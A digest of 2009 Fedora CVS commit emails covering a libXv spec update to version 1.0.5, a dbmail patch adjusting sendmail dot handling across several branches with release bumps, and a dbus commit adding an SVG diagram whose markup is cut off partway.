Subject: rpms/libXv/F-12 libXv.spec,1.26,1.27 sources,1.9,1.10
Message-ID: <20091007160423.C2C4311C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXv/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24587

Modified Files:
	libXv.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.5-1
- libXv 1.0.5



Index: libXv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXv/F-12/libXv.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXv.spec	25 Jul 2009 05:15:53 -0000	1.26
+++ libXv.spec	7 Oct 2009 16:04:23 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXv runtime library
 Name:    libXv
-Version: 1.0.4
-Release: 4%{?dist}
+Version: 1.0.5
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,9 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
-BuildRequires: libXext-devel
+BuildRequires: pkgconfig(videoproto) pkgconfig(xext)
 
 %description
 X.Org X11 libXv runtime library
@@ -21,25 +19,14 @@ Summary: X.Org X11 libXv development pac
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
-# NOTE: libXext-devel dependency added to fix bug #192167
-Requires: libXext-devel pkgconfig
-# needed by xv.pc
-Requires: xorg-x11-proto-devel
-
 %description devel
 X.Org X11 libXv development package
 
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
-%configure \
-%if ! %{with_static}
-  --disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
@@ -64,16 +51,17 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
+%doc man/xv-library-v2.2.txt
 %{_includedir}/X11/extensions/Xvlib.h
-%if %{with_static}
-%{_libdir}/libXv.a
-%endif
 %{_libdir}/libXv.so
 %{_libdir}/pkgconfig/xv.pc
 #%dir %{_mandir}/man3x
 %{_mandir}/man3/*.3*
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.5-1
+- libXv 1.0.5
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXv/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	4 Sep 2008 20:01:50 -0000	1.9
+++ sources	7 Oct 2009 16:04:23 -0000	1.10
@@ -1 +1 @@
-723a0275227165383e967a1ca8899b52  libXv-1.0.4.tar.bz2
+1d97798b1d8bbf8d9085e1b223a0738f  libXv-1.0.5.tar.bz2



From bjohnson at fedoraproject.org  Wed Oct  7 16:05:51 2009
From: bjohnson at fedoraproject.org (Bernard Johnson)
Date: Wed,  7 Oct 2009 16:05:51 +0000 (UTC)
Subject: rpms/dbmail/EL-5 dbmail-forward-doublepoint.patch, NONE,
	1.1 dbmail.spec, 1.22, 1.23
Message-ID: <20091007160551.23FF111C00E6@cvs1.fedora.phx.redhat.com>

Author: bjohnson

Update of /cvs/pkgs/rpms/dbmail/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24812/EL-5

Modified Files:
	dbmail.spec 
Added Files:
	dbmail-forward-doublepoint.patch 
Log Message:
- add patch to keep from mangling mime parts (bz #527690)


dbmail-forward-doublepoint.patch:
 pipe.c |    7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

--- NEW FILE dbmail-forward-doublepoint.patch ---
>From 2897e657c5fd1378cea5f2339e335acf4c6070e9 Mon Sep 17 00:00:00 2001
From: Paul J Stevens <paul at nfg.nl>
Date: Wed, 07 Oct 2009 13:15:18 +0000
Subject: fix sendmail option for dot handling

---
diff --git a/pipe.c b/pipe.c
index 63b4a23..a6b7479 100644
--- a/pipe.c
+++ b/pipe.c
@@ -130,7 +130,7 @@ static int send_mail(struct DbmailMessage *message,
 			TRACE(TRACE_MESSAGE, "could not prepare 'from' address.");
 			return 1;
 		}
-		sendmail_command = g_strconcat(sendmail, " -f ", escaped_from, " ", escaped_to, NULL);
+		sendmail_command = g_strconcat(sendmail, " -i -f ", escaped_from, " ", escaped_to, NULL);
 		g_free(escaped_to);
 		g_free(escaped_from);
 		if (!sendmail_command) {
@@ -156,9 +156,7 @@ static int send_mail(struct DbmailMessage *message,
 		// This is a hack so forwards can give a From line.
 		if (preoutput)
 			fprintf(mailpipe, "%s\n", preoutput);
-		// This function will dot-stuff the message.
-		db_send_message_lines(mailpipe, message->id, -2, 1);
-		break;
+		// fall-through
 	case SENDMESSAGE:
 		message_string = dbmail_message_to_string(message);
 		fprintf(mailpipe, "%s", message_string);
--
cgit v0.8.2.1-10-g45e7


Index: dbmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbmail/EL-5/dbmail.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- dbmail.spec	6 Jul 2009 06:06:06 -0000	1.22
+++ dbmail.spec	7 Oct 2009 16:05:51 -0000	1.23
@@ -10,7 +10,7 @@
 
 Name:           dbmail
 Version:        2.2.11
-Release:        7%{?dist}
+Release:        9%{?dist}
 Summary:        A database backed mail storage system
 
 Group:          System Environment/Daemons
@@ -27,6 +27,7 @@ Source6:        dbmail.logrotate
 Source7:        README.fedora
 
 Patch0:         0001-backport-fix-to-prevent-showing-mailboxes-more-than.patch
+Patch1:         dbmail-forward-doublepoint.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,6 +70,7 @@ installation and configuration in Fedora
 %setup -q
 
 %patch0 -p 1 -b .duplicate-email-boxes
+%patch1 -p 1 -b .dbmail-forward-doublepoint
 
 # we don't need README.solaris and we don't want it caught up in the %%doc
 # README* wildcard - but we do want our shiny new README.fedora file to be
@@ -229,6 +231,15 @@ This is the postgresql libraries for dbm
 %{_libdir}/dbmail/libpgsql*
 
 %changelog
+* Wed Oct 07 2009 Bernard Johnson <bjohnson at symetrix.com> - 2.2.11-10
+- add patch to keep from mangling mime parts (bz #527690)
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.2.11-9
+- rebuilt with new openssl
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.11-8
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jul 06 2009 Bernard Johnson <bjohnson at symetrix.com> - 2.2.11-7
 - fix left out ? in comparison
 



From bjohnson at fedoraproject.org  Wed Oct  7 16:05:51 2009
From: bjohnson at fedoraproject.org (Bernard Johnson)
Date: Wed,  7 Oct 2009 16:05:51 +0000 (UTC)
Subject: rpms/dbmail/F-11 dbmail-forward-doublepoint.patch, NONE,
	1.1 dbmail.spec, 1.29, 1.30
Message-ID: <20091007160551.730FD11C00E6@cvs1.fedora.phx.redhat.com>

Author: bjohnson

Update of /cvs/pkgs/rpms/dbmail/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24812/F-11

Modified Files:
	dbmail.spec 
Added Files:
	dbmail-forward-doublepoint.patch 
Log Message:
- add patch to keep from mangling mime parts (bz #527690)


dbmail-forward-doublepoint.patch:
 pipe.c |    7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

--- NEW FILE dbmail-forward-doublepoint.patch ---
>From 2897e657c5fd1378cea5f2339e335acf4c6070e9 Mon Sep 17 00:00:00 2001
From: Paul J Stevens <paul at nfg.nl>
Date: Wed, 07 Oct 2009 13:15:18 +0000
Subject: fix sendmail option for dot handling

---
diff --git a/pipe.c b/pipe.c
index 63b4a23..a6b7479 100644
--- a/pipe.c
+++ b/pipe.c
@@ -130,7 +130,7 @@ static int send_mail(struct DbmailMessage *message,
 			TRACE(TRACE_MESSAGE, "could not prepare 'from' address.");
 			return 1;
 		}
-		sendmail_command = g_strconcat(sendmail, " -f ", escaped_from, " ", escaped_to, NULL);
+		sendmail_command = g_strconcat(sendmail, " -i -f ", escaped_from, " ", escaped_to, NULL);
 		g_free(escaped_to);
 		g_free(escaped_from);
 		if (!sendmail_command) {
@@ -156,9 +156,7 @@ static int send_mail(struct DbmailMessage *message,
 		// This is a hack so forwards can give a From line.
 		if (preoutput)
 			fprintf(mailpipe, "%s\n", preoutput);
-		// This function will dot-stuff the message.
-		db_send_message_lines(mailpipe, message->id, -2, 1);
-		break;
+		// fall-through
 	case SENDMESSAGE:
 		message_string = dbmail_message_to_string(message);
 		fprintf(mailpipe, "%s", message_string);
--
cgit v0.8.2.1-10-g45e7


Index: dbmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbmail/F-11/dbmail.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- dbmail.spec	6 Jul 2009 06:06:07 -0000	1.29
+++ dbmail.spec	7 Oct 2009 16:05:51 -0000	1.30
@@ -10,7 +10,7 @@
 
 Name:           dbmail
 Version:        2.2.11
-Release:        7%{?dist}
+Release:        9%{?dist}
 Summary:        A database backed mail storage system
 
 Group:          System Environment/Daemons
@@ -27,6 +27,7 @@ Source6:        dbmail.logrotate
 Source7:        README.fedora
 
 Patch0:         0001-backport-fix-to-prevent-showing-mailboxes-more-than.patch
+Patch1:         dbmail-forward-doublepoint.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,6 +70,7 @@ installation and configuration in Fedora
 %setup -q
 
 %patch0 -p 1 -b .duplicate-email-boxes
+%patch1 -p 1 -b .dbmail-forward-doublepoint
 
 # we don't need README.solaris and we don't want it caught up in the %%doc
 # README* wildcard - but we do want our shiny new README.fedora file to be
@@ -229,6 +231,15 @@ This is the postgresql libraries for dbm
 %{_libdir}/dbmail/libpgsql*
 
 %changelog
+* Wed Oct 07 2009 Bernard Johnson <bjohnson at symetrix.com> - 2.2.11-10
+- add patch to keep from mangling mime parts (bz #527690)
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.2.11-9
+- rebuilt with new openssl
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.11-8
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jul 06 2009 Bernard Johnson <bjohnson at symetrix.com> - 2.2.11-7
 - fix left out ? in comparison
 



From bjohnson at fedoraproject.org  Wed Oct  7 16:05:52 2009
From: bjohnson at fedoraproject.org (Bernard Johnson)
Date: Wed,  7 Oct 2009 16:05:52 +0000 (UTC)
Subject: rpms/dbmail/devel dbmail-forward-doublepoint.patch, NONE,
	1.1 dbmail.spec, 1.31, 1.32
Message-ID: <20091007160552.4433411C00E6@cvs1.fedora.phx.redhat.com>

Author: bjohnson

Update of /cvs/pkgs/rpms/dbmail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24812/devel

Modified Files:
	dbmail.spec 
Added Files:
	dbmail-forward-doublepoint.patch 
Log Message:
- add patch to keep from mangling mime parts (bz #527690)


dbmail-forward-doublepoint.patch:
 pipe.c |    7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

--- NEW FILE dbmail-forward-doublepoint.patch ---
>From 2897e657c5fd1378cea5f2339e335acf4c6070e9 Mon Sep 17 00:00:00 2001
From: Paul J Stevens <paul at nfg.nl>
Date: Wed, 07 Oct 2009 13:15:18 +0000
Subject: fix sendmail option for dot handling

---
diff --git a/pipe.c b/pipe.c
index 63b4a23..a6b7479 100644
--- a/pipe.c
+++ b/pipe.c
@@ -130,7 +130,7 @@ static int send_mail(struct DbmailMessage *message,
 			TRACE(TRACE_MESSAGE, "could not prepare 'from' address.");
 			return 1;
 		}
-		sendmail_command = g_strconcat(sendmail, " -f ", escaped_from, " ", escaped_to, NULL);
+		sendmail_command = g_strconcat(sendmail, " -i -f ", escaped_from, " ", escaped_to, NULL);
 		g_free(escaped_to);
 		g_free(escaped_from);
 		if (!sendmail_command) {
@@ -156,9 +156,7 @@ static int send_mail(struct DbmailMessage *message,
 		// This is a hack so forwards can give a From line.
 		if (preoutput)
 			fprintf(mailpipe, "%s\n", preoutput);
-		// This function will dot-stuff the message.
-		db_send_message_lines(mailpipe, message->id, -2, 1);
-		break;
+		// fall-through
 	case SENDMESSAGE:
 		message_string = dbmail_message_to_string(message);
 		fprintf(mailpipe, "%s", message_string);
--
cgit v0.8.2.1-10-g45e7


Index: dbmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbmail/devel/dbmail.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- dbmail.spec	21 Aug 2009 13:00:20 -0000	1.31
+++ dbmail.spec	7 Oct 2009 16:05:52 -0000	1.32
@@ -27,6 +27,7 @@ Source6:        dbmail.logrotate
 Source7:        README.fedora
 
 Patch0:         0001-backport-fix-to-prevent-showing-mailboxes-more-than.patch
+Patch1:         dbmail-forward-doublepoint.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,6 +70,7 @@ installation and configuration in Fedora
 %setup -q
 
 %patch0 -p 1 -b .duplicate-email-boxes
+%patch1 -p 1 -b .dbmail-forward-doublepoint
 
 # we don't need README.solaris and we don't want it caught up in the %%doc
 # README* wildcard - but we do want our shiny new README.fedora file to be
@@ -229,6 +231,9 @@ This is the postgresql libraries for dbm
 %{_libdir}/dbmail/libpgsql*
 
 %changelog
+* Wed Oct 07 2009 Bernard Johnson <bjohnson at symetrix.com> - 2.2.11-10
+- add patch to keep from mangling mime parts (bz #527690)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.2.11-9
 - rebuilt with new openssl
 



From bjohnson at fedoraproject.org  Wed Oct  7 16:05:51 2009
From: bjohnson at fedoraproject.org (Bernard Johnson)
Date: Wed,  7 Oct 2009 16:05:51 +0000 (UTC)
Subject: rpms/dbmail/F-12 dbmail-forward-doublepoint.patch, NONE,
	1.1 dbmail.spec, 1.31, 1.32
Message-ID: <20091007160551.E3FD511C00E6@cvs1.fedora.phx.redhat.com>

Author: bjohnson

Update of /cvs/pkgs/rpms/dbmail/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24812/F-12

Modified Files:
	dbmail.spec 
Added Files:
	dbmail-forward-doublepoint.patch 
Log Message:
- add patch to keep from mangling mime parts (bz #527690)


dbmail-forward-doublepoint.patch:
 pipe.c |    7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

--- NEW FILE dbmail-forward-doublepoint.patch ---
>From 2897e657c5fd1378cea5f2339e335acf4c6070e9 Mon Sep 17 00:00:00 2001
From: Paul J Stevens <paul at nfg.nl>
Date: Wed, 07 Oct 2009 13:15:18 +0000
Subject: fix sendmail option for dot handling

---
diff --git a/pipe.c b/pipe.c
index 63b4a23..a6b7479 100644
--- a/pipe.c
+++ b/pipe.c
@@ -130,7 +130,7 @@ static int send_mail(struct DbmailMessage *message,
 			TRACE(TRACE_MESSAGE, "could not prepare 'from' address.");
 			return 1;
 		}
-		sendmail_command = g_strconcat(sendmail, " -f ", escaped_from, " ", escaped_to, NULL);
+		sendmail_command = g_strconcat(sendmail, " -i -f ", escaped_from, " ", escaped_to, NULL);
 		g_free(escaped_to);
 		g_free(escaped_from);
 		if (!sendmail_command) {
@@ -156,9 +156,7 @@ static int send_mail(struct DbmailMessage *message,
 		// This is a hack so forwards can give a From line.
 		if (preoutput)
 			fprintf(mailpipe, "%s\n", preoutput);
-		// This function will dot-stuff the message.
-		db_send_message_lines(mailpipe, message->id, -2, 1);
-		break;
+		// fall-through
 	case SENDMESSAGE:
 		message_string = dbmail_message_to_string(message);
 		fprintf(mailpipe, "%s", message_string);
--
cgit v0.8.2.1-10-g45e7


Index: dbmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbmail/F-12/dbmail.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- dbmail.spec	21 Aug 2009 13:00:20 -0000	1.31
+++ dbmail.spec	7 Oct 2009 16:05:51 -0000	1.32
@@ -27,6 +27,7 @@ Source6:        dbmail.logrotate
 Source7:        README.fedora
 
 Patch0:         0001-backport-fix-to-prevent-showing-mailboxes-more-than.patch
+Patch1:         dbmail-forward-doublepoint.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,6 +70,7 @@ installation and configuration in Fedora
 %setup -q
 
 %patch0 -p 1 -b .duplicate-email-boxes
+%patch1 -p 1 -b .dbmail-forward-doublepoint
 
 # we don't need README.solaris and we don't want it caught up in the %%doc
 # README* wildcard - but we do want our shiny new README.fedora file to be
@@ -229,6 +231,9 @@ This is the postgresql libraries for dbm
 %{_libdir}/dbmail/libpgsql*
 
 %changelog
+* Wed Oct 07 2009 Bernard Johnson <bjohnson at symetrix.com> - 2.2.11-10
+- add patch to keep from mangling mime parts (bz #527690)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.2.11-9
 - rebuilt with new openssl
 



From bjohnson at fedoraproject.org  Wed Oct  7 16:07:01 2009
From: bjohnson at fedoraproject.org (Bernard Johnson)
Date: Wed,  7 Oct 2009 16:07:01 +0000 (UTC)
Subject: rpms/dbmail/EL-5 dbmail.spec,1.23,1.24
Message-ID: <20091007160701.AC15C11C00E6@cvs1.fedora.phx.redhat.com>

Author: bjohnson

Update of /cvs/pkgs/rpms/dbmail/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25046/EL-5

Modified Files:
	dbmail.spec 
Log Message:
bump rel



Index: dbmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbmail/EL-5/dbmail.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- dbmail.spec	7 Oct 2009 16:05:51 -0000	1.23
+++ dbmail.spec	7 Oct 2009 16:07:01 -0000	1.24
@@ -10,7 +10,7 @@
 
 Name:           dbmail
 Version:        2.2.11
-Release:        9%{?dist}
+Release:        10%{?dist}
 Summary:        A database backed mail storage system
 
 Group:          System Environment/Daemons



From bjohnson at fedoraproject.org  Wed Oct  7 16:07:01 2009
From: bjohnson at fedoraproject.org (Bernard Johnson)
Date: Wed,  7 Oct 2009 16:07:01 +0000 (UTC)
Subject: rpms/dbmail/F-11 dbmail.spec,1.30,1.31
Message-ID: <20091007160701.D395111C00E6@cvs1.fedora.phx.redhat.com>

Author: bjohnson

Update of /cvs/pkgs/rpms/dbmail/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25046/F-11

Modified Files:
	dbmail.spec 
Log Message:
bump rel



Index: dbmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbmail/F-11/dbmail.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- dbmail.spec	7 Oct 2009 16:05:51 -0000	1.30
+++ dbmail.spec	7 Oct 2009 16:07:01 -0000	1.31
@@ -10,7 +10,7 @@
 
 Name:           dbmail
 Version:        2.2.11
-Release:        9%{?dist}
+Release:        10%{?dist}
 Summary:        A database backed mail storage system
 
 Group:          System Environment/Daemons



From bjohnson at fedoraproject.org  Wed Oct  7 16:07:02 2009
From: bjohnson at fedoraproject.org (Bernard Johnson)
Date: Wed,  7 Oct 2009 16:07:02 +0000 (UTC)
Subject: rpms/dbmail/F-12 dbmail.spec,1.32,1.33
Message-ID: <20091007160702.057FF11C00E6@cvs1.fedora.phx.redhat.com>

Author: bjohnson

Update of /cvs/pkgs/rpms/dbmail/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25046/F-12

Modified Files:
	dbmail.spec 
Log Message:
bump rel



Index: dbmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbmail/F-12/dbmail.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- dbmail.spec	7 Oct 2009 16:05:51 -0000	1.32
+++ dbmail.spec	7 Oct 2009 16:07:01 -0000	1.33
@@ -10,7 +10,7 @@
 
 Name:           dbmail
 Version:        2.2.11
-Release:        9%{?dist}
+Release:        10%{?dist}
 Summary:        A database backed mail storage system
 
 Group:          System Environment/Daemons



From bjohnson at fedoraproject.org  Wed Oct  7 16:07:02 2009
From: bjohnson at fedoraproject.org (Bernard Johnson)
Date: Wed,  7 Oct 2009 16:07:02 +0000 (UTC)
Subject: rpms/dbmail/devel dbmail.spec,1.32,1.33
Message-ID: <20091007160702.35ABA11C00E6@cvs1.fedora.phx.redhat.com>

Author: bjohnson

Update of /cvs/pkgs/rpms/dbmail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25046/devel

Modified Files:
	dbmail.spec 
Log Message:
bump rel



Index: dbmail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbmail/devel/dbmail.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- dbmail.spec	7 Oct 2009 16:05:52 -0000	1.32
+++ dbmail.spec	7 Oct 2009 16:07:02 -0000	1.33
@@ -10,7 +10,7 @@
 
 Name:           dbmail
 Version:        2.2.11
-Release:        9%{?dist}
+Release:        10%{?dist}
 Summary:        A database backed mail storage system
 
 Group:          System Environment/Daemons



From mclasen at fedoraproject.org  Wed Oct  7 16:21:54 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 16:21:54 +0000 (UTC)
Subject: rpms/dbus/F-12 diagram.png, NONE, 1.1 diagram.svg, NONE,
	1.1 dbus.spec, 1.174, 1.175
Message-ID: <20091007162154.65C9011C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/dbus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27621

Modified Files:
	dbus.spec 
Added Files:
	diagram.png diagram.svg 
Log Message:
Add missing diagrams



--- NEW FILE diagram.svg ---
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
   id="svg1"
   sodipodi:version="0.32"
   inkscape:version="0.39"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
   xmlns:xlink="http://www.w3.org/1999/xlink"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:cc="http://web.resource.org/cc/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   width="841.88975pt"
   height="595.27559pt"
   sodipodi:docbase="/home/hp/dbus-cvs/dbus/doc"
   sodipodi:docname="diagram.svg">
  <defs
     id="defs3">
    <marker
       style="overflow:visible;"
       id="Arrow1M"
       refX="0.0"
       refY="0.0"
       orient="auto"
       inkscape:stockid="Arrow1M">
      <path
         transform="scale(0.4)"
         style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none;"
         d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
         id="path3519"
         sodipodi:nodetypes="ccccc" />
    </marker>
    <marker
       style="overflow:visible;"
       id="Arrow2L"
       refX="0.0"
       refY="0.0"
       orient="auto"
       inkscape:stockid="Arrow2L">
      <path
         transform="scale(1.1) translate(-5,0)"
         d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.9730900,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z "
         style="font-size:12.0;fill-rule:evenodd;stroke-width:0.62500000;stroke-linejoin:round;"
         id="path3515"
         sodipodi:nodetypes="cccc" />
    </marker>
  </defs>
  <sodipodi:namedview
     id="base"
     pagecolor="#ffffff"
     bordercolor="#666666"
     borderopacity="1.0"
     inkscape:pageopacity="0.0"
     inkscape:pageshadow="2"
     inkscape:zoom="0.90210318"
     inkscape:cx="420.94487"
     inkscape:cy="297.63779"
     inkscape:window-width="1024"
     inkscape:window-height="701"
     showgrid="false"
     inkscape:grid-bbox="false"
     inkscape:grid-points="true"
     inkscape:window-x="0"
     inkscape:window-y="24"
     gridspacingy="2.5000000mm"
     gridspacingx="2.5000000mm"
     showguides="true"
     inkscape:guide-bbox="true">
    <sodipodi:guide
       orientation="horizontal"
       position="268.85797"
       id="guide3566" />
    <sodipodi:guide
       orientation="horizontal"
       position="294.31223"
       id="guide4235" />
    <sodipodi:guide
       orientation="horizontal"
       position="300.40909"
       id="guide4882" />
  </sodipodi:namedview>
  <metadata
     id="metadata4">
    <rdf:RDF
       id="RDF5">
      <cc:Work
         rdf:about=""
         id="Work6">
        <dc:format
           id="format7">image/svg+xml</dc:format>
        <dc:type
           id="type9"
           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
      </cc:Work>
    </rdf:RDF>
  </metadata>
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:3.7500000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000;"
     id="rect908"
     width="325.23203"
     height="354.33072"
     x="17.716536"
     y="372.04724" />
  <text
     xml:space="preserve"
     style="font-size:18.000000;font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="70.778252"
     y="712.73920"
     id="text1532"
     sodipodi:linespacing="100%"><tspan
       id="tspan1533">Application Process 1</tspan></text>
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:2.5000000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-dasharray:2.5000000 2.5000000 ;stroke-dashoffset:0.0000000;stroke-opacity:1.0000000;"
     id="rect1535"
     width="148.46259"
     height="46.656849"
     x="106.29921"
     y="378.54001" />
  <text
     xml:space="preserve"
     style="font-size:14.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="180.61389"
     y="400.40048"
     id="text2158"
     sodipodi:linespacing="100%"><tspan
       id="tspan2159">DBusConnection</tspan><tspan
       sodipodi:role="line"
       id="tspan2161"
       x="180.61389"
       y="414.40048">Instance</tspan></text>
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:2.9950929;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-dasharray:2.9950928 2.9950928 ;stroke-dashoffset:0.0000000;stroke-opacity:1.0000000;"
     id="rect2170"
     width="148.46259"
     height="66.966240"
     x="28.702768"
     y="549.21259" />
  <text
     xml:space="preserve"
     style="font-size:14.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="103.01745"
     y="577.56586"
     id="text2171"
     sodipodi:linespacing="100%"><tspan
       x="103.01745"
       y="577.56586"
       sodipodi:role="line"
       id="tspan2176">C/C++/Python/etc.</tspan><tspan
       x="103.01745"
       y="591.56586"
       sodipodi:role="line"
       id="tspan2178">Object Instance</tspan></text>
  <path
     style="fill:#000000;fill-opacity:1.0000000;fill-rule:nonzero;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
     id="path3535"
     d="M 98.938952,408.61479 C 98.744753,409.20303 97.917886,409.67295 97.440945,410.11435 C 95.534947,411.94763 94.266934,414.11555 93.172614,416.33858 C 91.902056,419.02725 90.969281,421.79944 90.107252,424.59229 C 89.589105,426.27374 88.983534,427.90634 88.266907,429.53700 C 87.919667,430.33438 87.622593,431.17598 87.120464,431.91970 C 86.832222,432.30665 86.469422,432.65145 86.167985,433.03184 C 86.015931,433.22254 85.868997,433.41563 85.722131,433.60898 L 82.914336,433.11743 C 83.063402,432.91879 83.213428,432.72069 83.368121,432.52498 C 83.654681,432.15308 83.980737,431.80834 84.285389,431.44731 C 84.811957,430.77175 85.122523,429.97914 85.482400,429.23872 C 86.253056,427.64929 86.903084,426.03861 87.474578,424.39321 C 88.439548,421.58552 89.442843,418.78792 90.703938,416.05898 C 91.810966,413.77525 92.999191,411.45961 94.849464,409.50748 C 95.094704,409.24876 96.091789,407.90149 95.865737,408.61479 L 98.938952,408.61479 z " />
  <text
     xml:space="preserve"
